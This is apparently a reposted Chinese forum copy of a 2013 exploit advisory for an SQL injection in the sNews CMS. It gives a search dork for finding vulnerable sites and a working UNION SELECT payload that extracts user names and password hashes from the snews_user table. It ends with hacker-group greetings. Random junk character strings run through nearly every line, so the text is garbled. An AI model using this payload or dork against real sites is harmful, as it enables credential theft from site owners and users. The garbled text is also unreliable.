标题: CMS snews SQL Injection Vulnerability8 z9 B6 Z0 B: m$ ?/ c& A& z8 {
作者: By onestree+ e$ o- R- K1 t( G8 \) U, b
下载地址 : http://snewscms.com/
6 p) A8 M8 w @0 H* P6 _测试平台 : ubuntu 12.10 / win 78 O- @5 e8 v/ i: z6 p w0 w
关键词: inurl:"tanyakan pada rumput yang bergoyang"
0 l. ~& q8 K7 I0 S' h$ c! ]% y4 p$ f
. e1 s) e0 `/ K
E8 r2 F/ f# \: q*************************************************************4 m) X( g+ A9 S2 b7 u r) A
) E3 }2 I" O8 Q R; l" e1 @- `
SQL poc:% C4 g: j6 L0 a
: M+ [$ f" u P9 F; T% Z& w# [http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]- |! I) u5 i; p9 {
5 f) K7 h8 U% [; N示例
4 J3 ^4 w! S. Q3 H/ ~ \5 \( g( S x+ R$ Y6 {8 I* |" F
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
8 f& S8 J, L% ? 6 }( i, I. u8 x! Y) x+ p: c
% L& D/ O, ^2 ]0 Z: v
致谢:4 n0 Z' o+ f5 j7 M" ?$ |6 K. e
& \- ^- S3 o- T/ V* F5 `, \. T
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
g: p+ Y3 G9 b1 s# a # N" T. j( q3 s$ S. g4 i3 w0 a
indonesiancoder - moeslimh4x0r - go-coder5 S( X) l' \7 e! @# C
) ?& U- o c, j$ m8 G9 g/ n' c
spesial my hunny :*
; V3 k: E% W) }5 `, r |
发表于 2013-1-23 08:55:06
收藏
支持
反对